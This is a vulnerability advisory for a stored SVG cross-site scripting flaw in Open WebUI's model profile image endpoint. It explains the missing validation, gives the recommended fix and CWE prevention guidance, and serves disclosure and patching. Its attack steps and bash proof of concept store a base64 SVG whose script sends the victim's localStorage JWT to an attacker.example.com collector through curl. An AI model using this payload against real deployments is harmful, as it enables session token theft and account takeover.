Skip to content

GHSA-v2qm-5wxj-qhj7 CVE-2026-54013 PYSEC-2026-2757

Open WebUI: Stored XSS to Account Takeover via Model Profile Images

High PyPI
Severity
7.6 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.30%
Chance of exploitation in the next 30 days. Higher than 22.80% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-116 Improper Encoding or Escaping of Output
CWE-693 Protection Mechanism Failure
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix
0.9.6
Upgrade open-webui to this version or later

Description

Stored XSS to Account Takeover via Model Profile Images in Open WebUI

Affected: Open WebUI <= 0.9.5 Bypass of: GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc


TL;DR

Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validate_profile_image_url field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL.


Past of the issue

In early 2025, two security advisories landed for Open WebUI:

  • GHSA-3wgj-c2hg-vm6q SVG XSS via user profile images
  • GHSA-3856-3vxq-m6fc SVG XSS via webhook profile images

The patches were clean. A validate_profile_image_url function was introduced in backend/open_webui/utils/validate.py a compiled regex that restricts data: URIs to safe raster formats (image/png, image/jpeg, image/gif, image/webp), explicitly excluding image/svg+xml because SVG can carry embedded <script> tags. On the output side, users.py added a MIME allowlist check and X-Content-Type-Options: nosniff.

The fix was applied to UserUpdateForm, UpdateProfileForm, and later to ChannelWebhookForm. Three models patched. Case closed.

Except there was a fourth endpoint.

The Gap

Open WebUI has a concept of "Models" user-created model configurations with metadata including a profile image. The metadata lives in ModelMeta:

# backend/open_webui/models/models.py, line 37-47
class ModelMeta(BaseModel):
    profile_image_url: Optional[str] = '/static/favicon.png'
    description: Optional[str] = None
    capabilities: Optional[dict] = None
    model_config = ConfigDict(extra='allow')

No @field_validator. No import of validate_profile_image_url. ModelMeta accepts any string as profile_image_url including data:image/svg+xml;base64,....

The serving endpoint at GET /api/v1/models/model/profile/image has the same gap:

# backend/open_webui/routers/models.py, line 503-518
elif profile_image_url.startswith('data:image'):
    header, base64_data = profile_image_url.split(',', 1)
    image_data = base64.b64decode(base64_data)
    image_buffer = io.BytesIO(image_data)
    media_type = header.split(';')[0].lstrip('data:')

    headers = {'Content-Disposition': 'inline'}
    # ...
    return StreamingResponse(
        image_buffer,
        media_type=media_type,
        headers=headers,
    )

No MIME allowlist. No nosniff. No CSP. The SVG is served inline with Content-Type: image/svg+xml on the application's origin.

Compare this with the patched user endpoint:

# backend/open_webui/routers/users.py, line 497-509
media_type = header.split(';')[0].lstrip('data:').lower()

if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:   # <-- ABSENT in models.py
    return FileResponse(f'{STATIC_DIR}/user.png')

return StreamingResponse(
    image_buffer,
    media_type=media_type,
    headers={
        'Content-Disposition': 'inline',
        'X-Content-Type-Options': 'nosniff',             # <-- ABSENT in models.py
    },
)

The fix exists. It just was never applied here.

Comparison Table

Endpoint Input Validation MIME Allowlist nosniff Status
GET /users/{id}/profile/image YES YES YES Patched
GET /webhooks/{id}/profile/image YES no no Partially patched
GET /models/model/profile/image NO NO NO Vulnerable

Three Write Vectors

The malicious SVG data URI can be injected through any of three endpoints all pass ModelForm containing ModelMeta without validation:

  1. POST /api/v1/models/create (line 195) any user with workspace.models permission
  2. POST /api/v1/models/update (line 581) model owner or admin
  3. POST /api/v1/models/import (line 279) admin only

The workspace.models permission is enabled by default for all non-pending users in a standard deployment.

The Attack

Step 1 Store the payload:

SVG=$(echo '<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
  </script>
</svg>' | base64 -w0)

curl -s -X POST 'https://TARGET/api/v1/models/create' \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H 'Content-Type: application/json' \
  -d "{
    \"id\": \"gpt-4-turbo-preview\",
    \"name\": \"GPT-4 Turbo\",
    \"base_model_id\": \"gpt-4\",
    \"meta\": {
      \"profile_image_url\": \"data:image/svg+xml;base64,$SVG\",
      \"description\": \"Latest GPT-4 Turbo model\"
    },
    \"params\": {},
    \"access_grants\": []
  }"

Step 2 Victim navigates to the image URL:

https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview

This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message).

Step 3 Token theft:

The server responds:

HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline

<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
  </script>
</svg>

No X-Content-Type-Options. No Content-Security-Policy. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded <script> executes. localStorage.getItem("token") returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration.

PoC

#!/usr/bin/env bash
# PoC: Stored SVG XSS -> token theft via Open WebUI model profile image
# Affected: open-webui <= 0.9.5

TARGET="http://localhost:8080"
ATTACKER_TOKEN="<attacker_JWT_from_localStorage.token>"
COLLECTOR="https://attacker.example.com/steal"   # attacker-controlled listener

# --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---
read -r -d '' SVG <<EOF
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token"));
  </script>
</svg>
EOF
SVG_B64=$(printf '%s' "$SVG" | base64 -w0)

# --- Step 2: Store the payload in a model's profile_image_url ---
curl -s -X POST "${TARGET}/api/v1/models/create" \
  -H "Authorization: Bearer ${ATTACKER_TOKEN}" \
  -H "Content-Type: application/json" \
  -d "{
    \"id\": \"gpt-4-turbo-preview\",
    \"name\": \"GPT-4 Turbo\",
    \"base_model_id\": \"gpt-4\",
    \"meta\": {
      \"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\",
      \"description\": \"Latest GPT-4 Turbo\"
    },
    \"params\": {},
    \"access_grants\": []
  }"

# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---
echo "Victim opens:  ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"

Expected server response at Step 3 (the proof — SVG served inline, no defenses):

HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline

<svg xmlns="http://www.w3.org/2000/svg">
  <script>new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")</script>
</svg>

No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the <script> executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).

Trigger note: because the frontend loads model avatars in <img src=...> context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.

Root Cause

An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to UserUpdateForm and UpdateProfileForm. When GHSA-3856-3vxq-m6fc was fixed, it was added to ChannelWebhookForm. But ModelMeta which uses the same profile_image_url field with the same serving logic was never touched. The output-side defenses (MIME allowlist + nosniff) were also only added to users.py, not to models.py or channels.py.

Recommended Fix

Input side add the validator to ModelMeta:

# backend/open_webui/models/models.py
from open_webui.utils.validate import validate_profile_image_url

class ModelMeta(BaseModel):
    profile_image_url: Optional[str] = '/static/favicon.png'
    # ...

    @field_validator('profile_image_url', mode='before')
    @classmethod
    def check_profile_image_url(cls, v):
        if v is None:
            return v
        return validate_profile_image_url(v)

Output side add MIME check and nosniff to the serving endpoint:

# backend/open_webui/routers/models.py
media_type = header.split(';')[0].lstrip('data:').lower()

if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:
    return FileResponse(f'{STATIC_DIR}/favicon.png')

return StreamingResponse(
    image_buffer,
    media_type=media_type,
    headers={
        'Content-Disposition': 'inline',
        'X-Content-Type-Options': 'nosniff',
    },
)

Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.

Affected versions

PyPI

PackageVulnerableFixed in
open-webui
< 0.9.6
0.9.6

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

open-webui PyPI → 0.9.6

pip
pip install --upgrade "open-webui>=0.9.6"
poetry
poetry add "open-webui>=0.9.6"
uv
uv add "open-webui>=0.9.6"

Severity breakdown

CVSS 3.1 7.6

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

Weakness

CWE-116: Improper Encoding or Escaping of Output

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
  • Architecture and Design, Implementation: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
  • Architecture and Design: In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.
  • Architecture and Design: Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).
  • Requirements: Fully specify which encodings are required by components that will be communicating with each other.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CWE-693: Protection Mechanism Failure

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-wvm9-9g5j-623f
Open WebUI: Users denied by the OAuth role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-4qg5-cxx4-g927
Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-jqhh-cjmq-vmv6
Open WebUI: Any authenticated user can hang the server via a cyclic chat message history
Medium Also affects open-webui
GHSA-5x7x-4c3c-qf5w
Open WebUI: Server-side fetches reach blocked and internal hosts via unvalidated HTTP redirect targets
Medium Also affects open-webui
GHSA-3cgp-3cqx-j8w2
Open WebUI: Any authenticated user can hang the server via message deletion in a cyclic chat tree
Medium Also affects open-webui
GHSA-34r3-9m95-vq73
Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch
High Also affects open-webui
GHSA-2724-6cpj-gf3v
Open WebUI: Non-admin users can delete admin-owned external knowledge connections via knowledge base deletion
High Also affects open-webui
GHSA-3pf7-q2g3-wj28
Open WebUI: Any authenticated user can inject chats into another user's folder via chat completions
Medium Also affects open-webui
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor